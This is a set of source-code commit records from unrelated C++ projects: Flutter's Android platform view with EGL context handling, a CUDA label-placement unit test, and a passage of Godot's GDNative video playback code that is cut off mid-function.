bool PlatformViewAndroid::ResourceContextMakeCurrent() {
if (eglMakeCurrent(g_display, g_resource_surface, g_resource_surface,
g_resource_context) != EGL_TRUE) {
LOG(INFO) << "Could not make the resource context current";
LogLastEGLError();
return false;
}
return true;
}
bool PlatformViewAndroid::SwapBuffers() {
TRACE_EVENT0("flutter", "PlatformViewAndroid::SwapBuffers");
return context_ != nullptr ? context_->SwapBuffers() : false;
}
SkISize PlatformViewAndroid::GetSize() {
return context_->GetSize();
}
void PlatformViewAndroid::Resize(const SkISize& size) {
context_->Resize(size);
}
void PlatformViewAndroid::RunFromSource(const std::string& main,
const std::string& packages,
const std::string& assets_directory) {
FTL_CHECK(base::android::IsVMInitialized());
JNIEnv* env = base::android::AttachCurrentThread();
FTL_CHECK(env);
{
base::android::ScopedJavaLocalRef<jobject> local_flutter_view =
flutter_view_.get(env);
if (local_flutter_view.is_null()) {
// Collected.
return;
}
// Grab the class of the flutter view.
jclass flutter_view_class = env->GetObjectClass(local_flutter_view.obj());
FTL_CHECK(flutter_view_class);
// Grab the runFromSource method id.
jmethodID run_from_source_method_id = env->GetMethodID(
flutter_view_class,
"runFromSource",
"(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V");
FTL_CHECK(run_from_source_method_id);
// Invoke runFromSource on the Android UI thread.
jstring java_main = env->NewStringUTF(main.c_str());
FTL_CHECK(java_main);
jstring java_packages = env->NewStringUTF(packages.c_str());
FTL_CHECK(java_packages);
jstring java_assets_directory = env->NewStringUTF(assets_directory.c_str());
FTL_CHECK(java_assets_directory);
env->CallVoidMethod(local_flutter_view.obj(),
run_from_source_method_id,
java_main,
java_packages,
java_assets_directory);
}
// Detaching from the VM deletes any stray local references.
base::android::DetachFromVM();
}
} // namespace shell
} // namespace sky
<commit_msg>Fix leak of PlatformViewAndroid when FlutterView is destroyed (#2969)<commit_after>// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "flutter/sky/shell/platform/android/platform_view_android.h"
#include <EGL/egl.h>
#include <android/input.h>
#include <android/native_window_jni.h>
#include <utility>
#include "base/android/jni_android.h"
#include "base/bind.h"
#include "base/location.h"
#include "base/trace_event/trace_event.h"
#include "flutter/runtime/dart_service_isolate.h"
#include "flutter/sky/shell/shell.h"
#include "jni/FlutterView_jni.h"
namespace sky {
namespace shell {
namespace {
template <class T>
using EGLResult = std::pair<bool, T>;
EGLDisplay g_display = EGL_NO_DISPLAY;
EGLContext g_resource_context = EGL_NO_CONTEXT;
EGLSurface g_resource_surface = EGL_NO_SURFACE;
void LogLastEGLError() {
struct EGLNameErrorPair {
const char* name;
EGLint code;
};
#define _EGL_ERROR_DESC(a) \
{ #a, a }
const EGLNameErrorPair pairs[] = {
_EGL_ERROR_DESC(EGL_SUCCESS),
_EGL_ERROR_DESC(EGL_NOT_INITIALIZED),
_EGL_ERROR_DESC(EGL_BAD_ACCESS),
_EGL_ERROR_DESC(EGL_BAD_ALLOC),
_EGL_ERROR_DESC(EGL_BAD_ATTRIBUTE),
_EGL_ERROR_DESC(EGL_BAD_CONTEXT),
_EGL_ERROR_DESC(EGL_BAD_CONFIG),
_EGL_ERROR_DESC(EGL_BAD_CURRENT_SURFACE),
_EGL_ERROR_DESC(EGL_BAD_DISPLAY),
_EGL_ERROR_DESC(EGL_BAD_SURFACE),
_EGL_ERROR_DESC(EGL_BAD_MATCH),
_EGL_ERROR_DESC(EGL_BAD_PARAMETER),
_EGL_ERROR_DESC(EGL_BAD_NATIVE_PIXMAP),
_EGL_ERROR_DESC(EGL_BAD_NATIVE_WINDOW),
_EGL_ERROR_DESC(EGL_CONTEXT_LOST),
};
#undef _EGL_ERROR_DESC
const auto count = sizeof(pairs) / sizeof(EGLNameErrorPair);
EGLint last_error = eglGetError();
for (size_t i = 0; i < count; i++) {
if (last_error == pairs[i].code) {
DLOG(INFO) << "EGL Error: " << pairs[i].name << " (" << pairs[i].code
<< ")";
return;
}
}
DLOG(WARNING) << "Unknown EGL Error";
}
EGLResult<EGLSurface> CreatePBufferSurface(EGLDisplay display,
EGLConfig config) {
// We only ever create pbuffer surfaces for background resource loading
// contexts. We never bind the pbuffer to anything.
const EGLint attribs[] = {EGL_WIDTH, 1, EGL_HEIGHT, 1, EGL_NONE};
EGLSurface surface = eglCreatePbufferSurface(display, config, attribs);
return {surface != EGL_NO_SURFACE, surface};
}
EGLResult<EGLSurface> CreateContext(EGLDisplay display,
EGLConfig config,
EGLContext share = EGL_NO_CONTEXT) {
EGLint attributes[] = {EGL_CONTEXT_CLIENT_VERSION, 2, EGL_NONE};
EGLContext context = eglCreateContext(display, config, share, attributes);
return {context != EGL_NO_CONTEXT, context};
}
EGLResult<EGLConfig> ChooseEGLConfiguration(
EGLDisplay display,
PlatformView::SurfaceConfig config) {
EGLint attributes[] = {
// clang-format off
EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
EGL_SURFACE_TYPE, EGL_WINDOW_BIT,
EGL_RED_SIZE, config.red_bits,
EGL_GREEN_SIZE, config.green_bits,
EGL_BLUE_SIZE, config.blue_bits,
EGL_ALPHA_SIZE, config.alpha_bits,
EGL_DEPTH_SIZE, config.depth_bits,
EGL_STENCIL_SIZE, config.stencil_bits,
EGL_NONE, // termination sentinel
// clang-format on
};
EGLint config_count = 0;
EGLConfig egl_config = nullptr;
if (eglChooseConfig(display, attributes, &egl_config, 1, &config_count) !=
EGL_TRUE) {
return {false, nullptr};
}
bool success = config_count > 0 && egl_config != nullptr;
return {success, success ? egl_config : nullptr};
}
void InitGlobal() {
// Get the display.
g_display = eglGetDisplay(EGL_DEFAULT_DISPLAY);
if (g_display == EGL_NO_DISPLAY)
return;
// Initialize the display connection.
if (eglInitialize(g_display, nullptr, nullptr) != EGL_TRUE)
return;
bool success;
// Choose a config for resource loading.
PlatformView::SurfaceConfig resource_config;
resource_config.stencil_bits = 0;
EGLConfig resource_egl_config;
std::tie(success, resource_egl_config) =
ChooseEGLConfiguration(g_display, resource_config);
if (!success) {
DLOG(INFO) << "Could not choose a resource configuration.";
LogLastEGLError();
return;
}
// Create a pbuffer surface for the configuration for resource loading.
std::tie(success, g_resource_surface) =
CreatePBufferSurface(g_display, resource_egl_config);
if (!success) {
DLOG(INFO) << "Could not create the pbuffer surface for resource loading.";
LogLastEGLError();
return;
}
// Create a resource context for the configuration.
std::tie(success, g_resource_context) =
CreateContext(g_display, resource_egl_config);
if (!success) {
DLOG(INFO) << "Could not create the resource context.";
LogLastEGLError();
return;
}
}
} // namespace
class AndroidNativeWindow {
public:
using Handle = ANativeWindow*;
explicit AndroidNativeWindow(Handle window) : window_(window) {
if (window_ != nullptr) {
ANativeWindow_acquire(window_);
}
}
~AndroidNativeWindow() {
if (window_ != nullptr) {
ANativeWindow_release(window_);
window_ = nullptr;
}
}
bool IsValid() const { return window_ != nullptr; }
Handle handle() const { return window_; }
private:
Handle window_;
FTL_DISALLOW_COPY_AND_ASSIGN(AndroidNativeWindow);
};
class AndroidGLContext {
public:
explicit AndroidGLContext(AndroidNativeWindow::Handle window_handle,
PlatformView::SurfaceConfig config)
: window_(window_handle),
config_(nullptr),
surface_(EGL_NO_SURFACE),
context_(EGL_NO_CONTEXT),
valid_(false) {
if (!window_.IsValid()) {
// We always require a valid window since we are only going to deal
// with window surfaces.
return;
}
bool success = false;
// Choose a valid configuration.
std::tie(success, config_) = ChooseEGLConfiguration(g_display, config);
if (!success) {
DLOG(INFO) << "Could not choose a window configuration.";
LogLastEGLError();
return;
}
// Create a window surface for the configuration.
std::tie(success, surface_) =
CreateWindowSurface(g_display, config_, window_.handle());
if (!success) {
DLOG(INFO) << "Could not create the window surface.";
LogLastEGLError();
return;
}
// Create a context for the configuration.
std::tie(success, context_) =
CreateContext(g_display, config_, g_resource_context);
if (!success) {
DLOG(INFO) << "Could not create the main rendering context";
LogLastEGLError();
return;
}
// All done!
valid_ = true;
}
~AndroidGLContext() {
if (!TeardownContext(g_display, context_)) {
LOG(INFO)
<< "Could not tear down the EGL context. Possible resource leak.";
LogLastEGLError();
}
if (!TeardownSurface(g_display, surface_)) {
LOG(INFO)
<< "Could not tear down the EGL surface. Possible resource leak.";
LogLastEGLError();
}
}
bool IsValid() const { return valid_; }
bool ContextMakeCurrent() {
if (eglMakeCurrent(g_display, surface_, surface_, context_) != EGL_TRUE) {
LOG(INFO) << "Could not make the context current";
LogLastEGLError();
return false;
}
return true;
}
bool SwapBuffers() { return eglSwapBuffers(g_display, surface_); }
SkISize GetSize() {
EGLint width = 0;
EGLint height = 0;
if (!eglQuerySurface(g_display, surface_, EGL_WIDTH, &width) ||
!eglQuerySurface(g_display, surface_, EGL_HEIGHT, &height)) {
LOG(ERROR) << "Unable to query EGL surface size";
LogLastEGLError();
return SkISize::Make(0, 0);
}
return SkISize::Make(width, height);
}
void Resize(const SkISize& size) {
eglMakeCurrent(g_display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT);
TeardownSurface(g_display, surface_);
bool success;
std::tie(success, surface_) =
CreateWindowSurface(g_display, config_, window_.handle());
if (!success) {
LOG(ERROR) << "Unable to create EGL window surface";
}
}
private:
AndroidNativeWindow window_;
EGLConfig config_;
EGLSurface surface_;
EGLContext context_;
bool valid_;
static bool TeardownContext(EGLDisplay display, EGLContext context) {
if (context != EGL_NO_CONTEXT) {
return eglDestroyContext(display, context) == EGL_TRUE;
}
return true;
}
static bool TeardownSurface(EGLDisplay display, EGLSurface surface) {
if (surface != EGL_NO_SURFACE) {
return eglDestroySurface(display, surface) == EGL_TRUE;
}
return true;
}
static EGLResult<EGLSurface> CreateWindowSurface(
EGLDisplay display,
EGLConfig config,
AndroidNativeWindow::Handle window_handle) {
// The configurations are only required when dealing with extensions or VG.
// We do neither.
EGLSurface surface = eglCreateWindowSurface(
display, config, reinterpret_cast<EGLNativeWindowType>(window_handle),
nullptr);
return {surface != EGL_NO_SURFACE, surface};
}
FTL_DISALLOW_COPY_AND_ASSIGN(AndroidGLContext);
};
static jlong Attach(JNIEnv* env,
jclass clazz,
jint skyEngineHandle,
jobject flutterView) {
PlatformViewAndroid* view = new PlatformViewAndroid();
view->ConnectToEngine(mojo::InterfaceRequest<SkyEngine>(
mojo::ScopedMessagePipeHandle(mojo::MessagePipeHandle(skyEngineHandle))));
// Create a weak reference to the flutterView Java object so that we can make
// calls into it later.
view->set_flutter_view(JavaObjectWeakGlobalRef(env, flutterView));
return reinterpret_cast<jlong>(view);
}
jint GetObservatoryPort(JNIEnv* env, jclass clazz) {
return blink::DartServiceIsolate::GetObservatoryPort();
}
// static
bool PlatformViewAndroid::Register(JNIEnv* env) {
return RegisterNativesImpl(env);
}
PlatformViewAndroid::PlatformViewAndroid()
: weak_factory_(this) {
// If this is the first PlatformView, then intiialize EGL and set up
// the resource context.
if (g_display == EGL_NO_DISPLAY)
InitGlobal();
}
PlatformViewAndroid::~PlatformViewAndroid() = default;
void PlatformViewAndroid::Detach(JNIEnv* env, jobject obj) {
delete this;
}
void PlatformViewAndroid::SurfaceCreated(JNIEnv* env,
jobject obj,
jobject jsurface) {
// Note: This ensures that any local references used by
// ANativeWindow_fromSurface are released immediately. This is needed as a
// workaround for https://code.google.com/p/android/issues/detail?id=68174
{
base::android::ScopedJavaLocalFrame scoped_local_reference_frame(env);
ANativeWindow* window = ANativeWindow_fromSurface(env, jsurface);
std::unique_ptr<AndroidGLContext> context(
new AndroidGLContext(window, surface_config_));
if (context->IsValid()) {
context_ = std::move(context);
}
ANativeWindow_release(window);
}
NotifyCreated();
SetupResourceContextOnIOThread();
}
void PlatformViewAndroid::SurfaceDestroyed(JNIEnv* env, jobject obj) {
NotifyDestroyed();
context_ = nullptr;
}
ftl::WeakPtr<sky::shell::PlatformView> PlatformViewAndroid::GetWeakViewPtr() {
return weak_factory_.GetWeakPtr();
}
uint64_t PlatformViewAndroid::DefaultFramebuffer() const {
// FBO 0 is the default window bound framebuffer on Android.
return 0;
}
bool PlatformViewAndroid::ContextMakeCurrent() {
return context_ != nullptr ? context_->ContextMakeCurrent() : false;
}
bool PlatformViewAndroid::ResourceContextMakeCurrent() {
if (eglMakeCurrent(g_display, g_resource_surface, g_resource_surface,
g_resource_context) != EGL_TRUE) {
LOG(INFO) << "Could not make the resource context current";
LogLastEGLError();
return false;
}
return true;
}
bool PlatformViewAndroid::SwapBuffers() {
TRACE_EVENT0("flutter", "PlatformViewAndroid::SwapBuffers");
return context_ != nullptr ? context_->SwapBuffers() : false;
}
SkISize PlatformViewAndroid::GetSize() {
return context_->GetSize();
}
void PlatformViewAndroid::Resize(const SkISize& size) {
context_->Resize(size);
}
void PlatformViewAndroid::RunFromSource(const std::string& main,
const std::string& packages,
const std::string& assets_directory) {
FTL_CHECK(base::android::IsVMInitialized());
JNIEnv* env = base::android::AttachCurrentThread();
FTL_CHECK(env);
{
base::android::ScopedJavaLocalRef<jobject> local_flutter_view =
flutter_view_.get(env);
if (local_flutter_view.is_null()) {
// Collected.
return;
}
// Grab the class of the flutter view.
jclass flutter_view_class = env->GetObjectClass(local_flutter_view.obj());
FTL_CHECK(flutter_view_class);
// Grab the runFromSource method id.
jmethodID run_from_source_method_id = env->GetMethodID(
flutter_view_class,
"runFromSource",
"(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V");
FTL_CHECK(run_from_source_method_id);
// Invoke runFromSource on the Android UI thread.
jstring java_main = env->NewStringUTF(main.c_str());
FTL_CHECK(java_main);
jstring java_packages = env->NewStringUTF(packages.c_str());
FTL_CHECK(java_packages);
jstring java_assets_directory = env->NewStringUTF(assets_directory.c_str());
FTL_CHECK(java_assets_directory);
env->CallVoidMethod(local_flutter_view.obj(),
run_from_source_method_id,
java_main,
java_packages,
java_assets_directory);
}
// Detaching from the VM deletes any stray local references.
base::android::DetachFromVM();
}
} // namespace shell
} // namespace sky
<|endoftext|>
|
<commit_before>#include "../test.h"
#include "../qimage_drawer_with_updating.h"
#include "../../src/placement/labeller.h"
#include "../../src/placement/constraint_updater.h"
#include "../../src/placement/persistent_constraint_updater.h"
#include "../../src/labelling/labels.h"
#include "../../src/utils/image_persister.h"
#include "../../src/utils/path_helper.h"
class Test_PlacementLabeller : public ::testing::Test
{
protected:
void createLabeller()
{
const int width = 512;
const int height = 512;
cudaChannelFormatDesc floatChannelDesc =
cudaCreateChannelDesc(32, 0, 0, 0, cudaChannelFormatKindFloat);
auto integralCostsImage =
ImagePersister::loadR32F(absolutePathOfProjectRelativePath(
std::string("assets/tests/placement-labeller/integralCosts.tiff")));
auto integralCostsTextureMapper = std::make_shared<CudaArrayMapper<float>>(
width, height, integralCostsImage, floatChannelDesc);
auto distanceTransformImage =
ImagePersister::loadR32F(absolutePathOfProjectRelativePath(std::string(
"assets/tests/placement-labeller/distanceTransform.tiff")));
auto distanceTransformTextureMapper =
std::make_shared<CudaArrayMapper<float>>(
width, height, distanceTransformImage, floatChannelDesc);
cudaChannelFormatDesc vector4ChannelDesc =
cudaCreateChannelDesc(32, 32, 32, 32, cudaChannelFormatKindFloat);
std::vector<Eigen::Vector4f> apolloniusImage(width * height,
Eigen::Vector4f(0, 0, 0, 0));
auto apolloniusTextureMapper =
std::make_shared<CudaArrayMapper<Eigen::Vector4f>>(
width, height, apolloniusImage, vector4ChannelDesc);
cudaChannelFormatDesc byteChannelDesc =
cudaCreateChannelDesc(8, 0, 0, 0, cudaChannelFormatKindUnsigned);
std::vector<unsigned char> constraintImage(width * height, 0);
auto constraintTextureMapper =
std::make_shared<CudaArrayMapper<unsigned char>>(
width, height, constraintImage, byteChannelDesc);
auto drawer = std::make_shared<QImageDrawerWithUpdating>(
width, height, constraintTextureMapper);
auto constraintUpdater =
std::make_shared<ConstraintUpdater>(drawer, width, height);
auto persistentConstraintUpdater =
std::make_shared<PersistentConstraintUpdater>(constraintUpdater);
labeller = std::make_shared<Placement::Labeller>(labels);
labeller->initialize(integralCostsTextureMapper, distanceTransformTextureMapper,
apolloniusTextureMapper, constraintTextureMapper,
persistentConstraintUpdater);
labeller->resize(1024, 1024);
}
virtual void SetUp()
{
labels = std::make_shared<Labels>();
labels->add(Label(1, "Shoulder", Eigen::Vector3f(0.174f, 0.55f, 0.034f)));
labels->add(Label(2, "Ellbow", Eigen::Vector3f(0.34f, 0.322f, -0.007f)));
labels->add(Label(3, "Wound", Eigen::Vector3f(0.262f, 0.422f, 0.058f),
Eigen::Vector2i(128, 128)));
labels->add(Label(4, "Wound 2", Eigen::Vector3f(0.034f, 0.373f, 0.141f)));
createLabeller();
}
public:
std::shared_ptr<Labels> labels;
std::shared_ptr<Placement::Labeller> labeller;
};
TEST_F(Test_PlacementLabeller, UpdateCalculatesPositionsFromRealData)
{
Placement::CostFunctionWeights weights;
weights.labelShadowConstraint = 1e2f;
weights.occupancy = 1.0f;
weights.distanceToAnchor = 1e-3f;
weights.favorHorizontalOrVerticalLines = 1e-1f;
weights.connectorShadowConstraint = 1e1f;
labeller->setCostFunctionWeights(weights);
Eigen::Matrix4f view = Eigen::Matrix4f::Identity();
view(2, 3) = -1.0f;
Eigen::Matrix4f projection = Eigen::Matrix4f::Identity();
view(2, 2) = -2.53385f;
view(2, 3) = -1.94522f;
view(3, 2) = -1.0f;
LabellerFrameData frameData(0.02f, projection, view);
auto newPositions = labeller->update(frameData);
auto lastPlacementResult = labeller->getLastPlacementResult();
labeller->cleanup();
ASSERT_EQ(labels->count(), newPositions.size());
std::vector<Eigen::Vector3f> expectedPositions = {
Eigen::Vector3f(0.192445f, 0.686766f, 0.034f),
Eigen::Vector3f(0.338289f, 0.129809f, -0.00699999f),
Eigen::Vector3f(0.459961f, 0.445242f, 0.058f),
Eigen::Vector3f(0.379167f, 0.446277f, 0.141f),
};
for (size_t i = 0; i < newPositions.size(); ++i)
{
EXPECT_Vector3f_NEAR(expectedPositions[i], newPositions[i + 1], 1e-5f);
EXPECT_Vector3f_NEAR(expectedPositions[i], lastPlacementResult[i + 1],
1e-5f);
}
}
TEST(Test_PlacementLabellerWithoutFixture, UpdatesReturnsEmptyMapIfLabellerIsNotInitialized)
{
auto labeller = std::make_shared<Placement::Labeller>(std::make_shared<Labels>());
LabellerFrameData frameData(0.02f, Eigen::Matrix4f::Identity(),
Eigen::Matrix4f::Identity());
auto newPositions = labeller->update(frameData);
auto lastPlacementResult = labeller->getLastPlacementResult();
EXPECT_EQ(0, newPositions.size());
EXPECT_EQ(0, lastPlacementResult.size());
}
<commit_msg>Save a constraints image in Test_PlacementLabeller.<commit_after>#include "../test.h"
#include "../qimage_drawer_with_updating.h"
#include "../../src/placement/labeller.h"
#include "../../src/placement/constraint_updater.h"
#include "../../src/placement/persistent_constraint_updater.h"
#include "../../src/labelling/labels.h"
#include "../../src/utils/image_persister.h"
#include "../../src/utils/path_helper.h"
class Test_PlacementLabeller : public ::testing::Test
{
protected:
void createLabeller()
{
const int width = 512;
const int height = 512;
cudaChannelFormatDesc floatChannelDesc =
cudaCreateChannelDesc(32, 0, 0, 0, cudaChannelFormatKindFloat);
auto integralCostsImage =
ImagePersister::loadR32F(absolutePathOfProjectRelativePath(
std::string("assets/tests/placement-labeller/integralCosts.tiff")));
auto integralCostsTextureMapper = std::make_shared<CudaArrayMapper<float>>(
width, height, integralCostsImage, floatChannelDesc);
auto distanceTransformImage =
ImagePersister::loadR32F(absolutePathOfProjectRelativePath(std::string(
"assets/tests/placement-labeller/distanceTransform.tiff")));
auto distanceTransformTextureMapper =
std::make_shared<CudaArrayMapper<float>>(
width, height, distanceTransformImage, floatChannelDesc);
cudaChannelFormatDesc vector4ChannelDesc =
cudaCreateChannelDesc(32, 32, 32, 32, cudaChannelFormatKindFloat);
std::vector<Eigen::Vector4f> apolloniusImage(width * height,
Eigen::Vector4f(0, 0, 0, 0));
auto apolloniusTextureMapper =
std::make_shared<CudaArrayMapper<Eigen::Vector4f>>(
width, height, apolloniusImage, vector4ChannelDesc);
cudaChannelFormatDesc byteChannelDesc =
cudaCreateChannelDesc(8, 0, 0, 0, cudaChannelFormatKindUnsigned);
std::vector<unsigned char> constraintImage(width * height, 0);
auto constraintTextureMapper =
std::make_shared<CudaArrayMapper<unsigned char>>(
width, height, constraintImage, byteChannelDesc);
drawer = std::make_shared<QImageDrawerWithUpdating>(
width, height, constraintTextureMapper);
auto constraintUpdater =
std::make_shared<ConstraintUpdater>(drawer, width, height);
auto persistentConstraintUpdater =
std::make_shared<PersistentConstraintUpdater>(constraintUpdater);
labeller = std::make_shared<Placement::Labeller>(labels);
labeller->initialize(integralCostsTextureMapper, distanceTransformTextureMapper,
apolloniusTextureMapper, constraintTextureMapper,
persistentConstraintUpdater);
labeller->resize(1024, 1024);
}
virtual void SetUp()
{
labels = std::make_shared<Labels>();
labels->add(Label(1, "Shoulder", Eigen::Vector3f(0.174f, 0.55f, 0.034f)));
labels->add(Label(2, "Ellbow", Eigen::Vector3f(0.34f, 0.322f, -0.007f)));
labels->add(Label(3, "Wound", Eigen::Vector3f(0.262f, 0.422f, 0.058f),
Eigen::Vector2i(128, 128)));
labels->add(Label(4, "Wound 2", Eigen::Vector3f(0.034f, 0.373f, 0.141f)));
createLabeller();
}
public:
std::shared_ptr<Labels> labels;
std::shared_ptr<Placement::Labeller> labeller;
std::shared_ptr<QImageDrawerWithUpdating> drawer;
};
TEST_F(Test_PlacementLabeller, UpdateCalculatesPositionsFromRealData)
{
Placement::CostFunctionWeights weights;
weights.labelShadowConstraint = 1e2f;
weights.occupancy = 1.0f;
weights.distanceToAnchor = 1e-3f;
weights.favorHorizontalOrVerticalLines = 1e-1f;
weights.connectorShadowConstraint = 1e1f;
labeller->setCostFunctionWeights(weights);
Eigen::Matrix4f view = Eigen::Matrix4f::Identity();
view(2, 3) = -1.0f;
Eigen::Matrix4f projection = Eigen::Matrix4f::Identity();
view(2, 2) = -2.53385f;
view(2, 3) = -1.94522f;
view(3, 2) = -1.0f;
LabellerFrameData frameData(0.02f, projection, view);
auto newPositions = labeller->update(frameData);
auto lastPlacementResult = labeller->getLastPlacementResult();
labeller->cleanup();
ASSERT_EQ(labels->count(), newPositions.size());
std::vector<Eigen::Vector3f> expectedPositions = {
Eigen::Vector3f(0.192445f, 0.686766f, 0.034f),
Eigen::Vector3f(0.338289f, 0.129809f, -0.00699999f),
Eigen::Vector3f(0.459961f, 0.445242f, 0.058f),
Eigen::Vector3f(0.379167f, 0.446277f, 0.141f),
};
for (size_t i = 0; i < newPositions.size(); ++i)
{
EXPECT_Vector3f_NEAR(expectedPositions[i], newPositions[i + 1], 1e-5f);
EXPECT_Vector3f_NEAR(expectedPositions[i], lastPlacementResult[i + 1],
1e-5f);
}
drawer->image->save("Test_PlacementLabellerConstraints.png");
}
TEST(Test_PlacementLabellerWithoutFixture,
UpdatesReturnsEmptyMapIfLabellerIsNotInitialized)
{
auto labeller =
std::make_shared<Placement::Labeller>(std::make_shared<Labels>());
LabellerFrameData frameData(0.02f, Eigen::Matrix4f::Identity(),
Eigen::Matrix4f::Identity());
auto newPositions = labeller->update(frameData);
auto lastPlacementResult = labeller->getLastPlacementResult();
EXPECT_EQ(0, newPositions.size());
EXPECT_EQ(0, lastPlacementResult.size());
}
<|endoftext|>
|
<commit_before>/*************************************************************************/
/* video_stream_gdnative.cpp */
/*************************************************************************/
/* This file is part of: */
/* GODOT ENGINE */
/* https://godotengine.org */
/*************************************************************************/
/* Copyright (c) 2007-2018 Juan Linietsky, Ariel Manzur. */
/* Copyright (c) 2014-2018 Godot Engine contributors (cf. AUTHORS.md) */
/* */
/* Permission is hereby granted, free of charge, to any person obtaining */
/* a copy of this software and associated documentation files (the */
/* "Software"), to deal in the Software without restriction, including */
/* without limitation the rights to use, copy, modify, merge, publish, */
/* distribute, sublicense, and/or sell copies of the Software, and to */
/* permit persons to whom the Software is furnished to do so, subject to */
/* the following conditions: */
/* */
/* The above copyright notice and this permission notice shall be */
/* included in all copies or substantial portions of the Software. */
/* */
/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */
/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/
/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */
/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */
/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */
/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
/*************************************************************************/
#include "video_stream_gdnative.h"
#include "core/project_settings.h"
#include "servers/audio_server.h"
VideoDecoderServer *VideoDecoderServer::instance = NULL;
static VideoDecoderServer decoder_server;
const int AUX_BUFFER_SIZE = 1024; // Buffer 1024 samples.
// NOTE: Callbacks for the GDNative libraries.
extern "C" {
godot_int GDAPI godot_videodecoder_file_read(void *ptr, uint8_t *buf, int buf_size) {
// ptr is a FileAccess
FileAccess *file = reinterpret_cast<FileAccess *>(ptr);
// if file exists
if (file) {
long bytes_read = file->get_buffer(buf, buf_size);
// No bytes to read => EOF
if (bytes_read == 0) {
return 0;
}
return bytes_read;
}
return -1;
}
int64_t GDAPI godot_videodecoder_file_seek(void *ptr, int64_t pos, int whence) {
// file
FileAccess *file = reinterpret_cast<FileAccess *>(ptr);
size_t len = file->get_len();
if (file) {
switch (whence) {
case SEEK_SET: {
// Just for explicitness
size_t new_pos = static_cast<size_t>(pos);
if (new_pos > len) {
return -1;
}
file->seek(new_pos);
pos = static_cast<int64_t>(file->get_position());
return pos;
} break;
case SEEK_CUR: {
// Just in case it doesn't exist
if (pos < 0 && -pos > file->get_position()) {
return -1;
}
pos = pos + static_cast<int>(file->get_position());
file->seek(pos);
pos = static_cast<int64_t>(file->get_position());
return pos;
} break;
case SEEK_END: {
// Just in case something goes wrong
if (-pos > len) {
return -1;
}
file->seek_end(pos);
pos = static_cast<int64_t>(file->get_position());
return pos;
} break;
default: {
// Only 4 possible options, hence default = AVSEEK_SIZE
// Asks to return the length of file
return static_cast<int64_t>(len);
} break;
}
}
// In case nothing works out.
return -1;
}
void GDAPI godot_videodecoder_register_decoder(const godot_videodecoder_interface_gdnative *p_interface) {
decoder_server.register_decoder_interface(p_interface);
}
}
// VideoStreamPlaybackGDNative starts here.
bool VideoStreamPlaybackGDNative::open_file(const String &p_file) {
ERR_FAIL_COND_V(interface == NULL, false);
file = FileAccess::open(p_file, FileAccess::READ);
bool file_opened = interface->open_file(data_struct, file);
num_channels = interface->get_channels(data_struct);
mix_rate = interface->get_mix_rate(data_struct);
godot_vector2 vec = interface->get_texture_size(data_struct);
texture_size = *(Vector2 *)&vec;
pcm = (float *)memalloc(num_channels * AUX_BUFFER_SIZE * sizeof(float));
memset(pcm, 0, num_channels * AUX_BUFFER_SIZE * sizeof(float));
pcm_write_idx = -1;
samples_decoded = 0;
texture->create((int)texture_size.width, (int)texture_size.height, Image::FORMAT_RGBA8, Texture::FLAG_FILTER | Texture::FLAG_VIDEO_SURFACE);
return file_opened;
}
void VideoStreamPlaybackGDNative::update(float p_delta) {
if (!playing || paused) {
return;
}
if (!file) {
return;
}
time += p_delta;
ERR_FAIL_COND(interface == NULL);
interface->update(data_struct, p_delta);
if (pcm_write_idx >= 0) {
// Previous remains
int mixed = mix_callback(mix_udata, pcm, samples_decoded);
if (mixed == samples_decoded) {
pcm_write_idx = -1;
} else {
samples_decoded -= mixed;
pcm_write_idx += mixed;
}
}
if (pcm_write_idx < 0) {
samples_decoded = interface->get_audioframe(data_struct, pcm, AUX_BUFFER_SIZE);
pcm_write_idx = mix_callback(mix_udata, pcm, samples_decoded);
if (pcm_write_idx == samples_decoded) {
pcm_write_idx = -1;
} else {
samples_decoded -= pcm_write_idx;
}
}
while (interface->get_playback_position(data_struct) < time) {
update_texture();
}
}
void VideoStreamPlaybackGDNative::update_texture() {
PoolByteArray *pba = (PoolByteArray *)interface->get_videoframe(data_struct);
if (pba == NULL) {
playing = false;
return;
}
Ref<Image> img = memnew(Image(texture_size.width, texture_size.height, 0, Image::FORMAT_RGBA8, *pba));
texture->set_data(img);
}
// ctor and dtor
VideoStreamPlaybackGDNative::VideoStreamPlaybackGDNative() :
texture(Ref<ImageTexture>(memnew(ImageTexture))),
playing(false),
paused(false),
mix_udata(NULL),
mix_callback(NULL),
num_channels(-1),
time(0),
mix_rate(0),
delay_compensation(0),
pcm(NULL),
pcm_write_idx(0),
samples_decoded(0),
file(NULL),
interface(NULL),
data_struct(NULL) {}
VideoStreamPlaybackGDNative::~VideoStreamPlaybackGDNative() {
cleanup();
}
void VideoStreamPlaybackGDNative::cleanup() {
if (data_struct)
interface->destructor(data_struct);
if (pcm)
memfree(pcm);
pcm = NULL;
time = 0;
num_channels = -1;
interface = NULL;
data_struct = NULL;
}
void VideoStreamPlaybackGDNative::set_interface(const godot_videodecoder_interface_gdnative *p_interface) {
ERR_FAIL_COND(p_interface == NULL);
if (interface != NULL) {
cleanup();
}
interface = p_interface;
data_struct = interface->constructor((godot_object *)this);
}
// controls
bool VideoStreamPlaybackGDNative::is_playing() const {
return playing;
}
bool VideoStreamPlaybackGDNative::is_paused() const {
return paused;
}
void VideoStreamPlaybackGDNative::play() {
stop();
playing = true;
delay_compensation = ProjectSettings::get_singleton()->get("audio/video_delay_compensation_ms");
delay_compensation /= 1000.0;
}
void VideoStreamPlaybackGDNative::stop() {
if (playing) {
seek(0);
}
playing = false;
}
void VideoStreamPlaybackGDNative::seek(float p_time) {
ERR_FAIL_COND(interface == NULL);
interface->seek(data_struct, p_time);
}
void VideoStreamPlaybackGDNative::set_paused(bool p_paused) {
